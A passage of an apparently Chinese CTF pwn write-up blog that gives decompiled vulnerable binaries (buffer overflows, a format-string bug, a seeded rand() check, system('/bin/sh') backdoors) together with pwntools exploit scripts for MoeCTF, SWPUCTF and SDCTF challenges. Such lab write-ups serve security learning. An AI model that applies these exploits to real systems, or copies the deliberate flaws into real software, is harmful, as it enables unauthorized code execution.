class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  vuln();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">ssize_t</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">32</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x32</span>uLL);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">backdoor</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Congratulations!You get it!!!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">20078</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">offset = <span class="number">0x20</span> + <span class="number">8</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">sl(flat([cyclic(offset),<span class="number">0x00000000004011AA</span>]))</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="MoeCTF-2022-babyfmt"><a href="#MoeCTF-2022-babyfmt" class="headerlink" title="[MoeCTF 2022]babyfmt"></a>[MoeCTF 2022]babyfmt</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *s; <span class="comment">// [esp+18h] [ebp-110h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">256</span>]; <span class="comment">// [esp+1Ch] [ebp-10Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v5; <span class="comment">// [esp+11Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stderr</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  s = (<span class="type">char</span> *)<span class="built_in">malloc</span>(<span class="number">0x10</span>u);</span><br><span class="line">  <span class="built_in">sprintf</span>(s, <span class="string">&quot;%p&quot;</span>, backdoor);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;gift: %p\n&quot;</span>, s);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="keyword">sizeof</span>(buf));</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">0xFF</span>u);</span><br><span class="line">    <span class="built_in">printf</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意对齐，将printf的got表修改为backdoor的地址</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;i386&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">port = <span class="number">1111</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">rl(<span class="string">&quot;gift: &quot;</span>)</span><br><span class="line">backdoor = <span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;\n&quot;</span>,drop=<span class="literal">True</span>).decode(<span class="string">&quot;utf-8&quot;</span>),<span class="number">16</span>)</span><br><span class="line"><span class="comment"># AAAA 0xffa0d9bc 0xff (nil) 0xf7f936d0 0x3055e4 0xffa0d9d0 0xffa0db94 0xffa0da64 0xf7f8b780 0x8ed61a0 0x41414141 0x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xa7025(nil)(nil)</span></span><br><span class="line">payload = fmtstr_payload(<span class="number">11</span>, &#123; elf.got[<span class="string">&#x27;printf&#x27;</span>]: <span class="number">0x0804859C</span>&#125;)</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="SWPUCTF-2022-新生赛-Darling"><a href="#SWPUCTF-2022-新生赛-Darling" class="headerlink" title="[SWPUCTF 2022 新生赛]Darling"></a>[SWPUCTF 2022 新生赛]Darling</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _DWORD v4[<span class="number">2</span>]; <span class="comment">// [rsp+Ch] [rbp-14h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  pic();</span><br><span class="line">  darling();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;There may be many uncertainties in the world, but the only certainty is my love for you.\n&quot;</span>);</span><br><span class="line">  v4[<span class="number">1</span>] = <span class="number">20020819</span>;</span><br><span class="line">  srand(<span class="number">0x1317E53</span>u);</span><br><span class="line">  v5 = rand() % <span class="number">100</span> - <span class="number">64</span>;</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, v4);</span><br><span class="line">  <span class="keyword">if</span> ( v5 == v4[<span class="number">0</span>] )</span><br><span class="line">    backdoor();</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Oh :( , you didn&#x27;t get my love&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">port = <span class="number">1111</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">clibc = cdll.LoadLibrary(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line"></span><br><span class="line">v4 = clibc.srand(<span class="number">0x1317E53</span>)</span><br><span class="line">v5 = clibc.rand()</span><br><span class="line">v5 = v5%<span class="number">100</span>-<span class="number">64</span></span><br><span class="line">sl(<span class="built_in">str</span>(v5))</span><br><span class="line">inter()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="11-11"><a href="#11-11" class="headerlink" title="11.11"></a>11.11</h2><h3 id="SDCTF-2022-Horoscope"><a href="#SDCTF-2022-Horoscope" class="headerlink" title="[SDCTF 2022]Horoscope"></a>[SDCTF 2022]Horoscope</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">48</span>]; <span class="comment">// [rsp+10h] [rbp-30h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to SDCTF&#x27;s very own text based horoscope&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;please put in your birthday and time in the format (month/day/year/time) and we will have your very own horoscope&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  fgets(s, <span class="number">320</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  processInput(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> __fastcall <span class="title function_">processInput</span><span class="params">(<span class="type">char</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *nptr; <span class="comment">// [rsp+18h] [rbp-28h]</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+2Ch] [rbp-14h]</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+3Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  nptr = strtok(a1, <span class="string">&quot;/&quot;</span>);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">3</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( !i )</span><br><span class="line">      v4 = atoi(nptr);</span><br><span class="line">    <span class="keyword">if</span> ( i == <span class="number">3</span> )</span><br><span class="line">      atoi(nptr);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">switch</span> ( v4 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;January&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;February&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;March&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;April&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;May&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;June&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;July&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">8</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;August&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">9</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;September&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">10</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;October&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">11</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;November&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">12</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;wow, you were born in the month of %s. I think that means you will have a great week! :)&quot;</span>, <span class="string">&quot;December&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;thats not a valid date &gt;:-(&quot;</span>);</span><br><span class="line">      fflush(<span class="built_in">stdout</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> fflush(<span class="built_in">stdout</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显的栈溢出让程序正常执行下去所以要有1</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 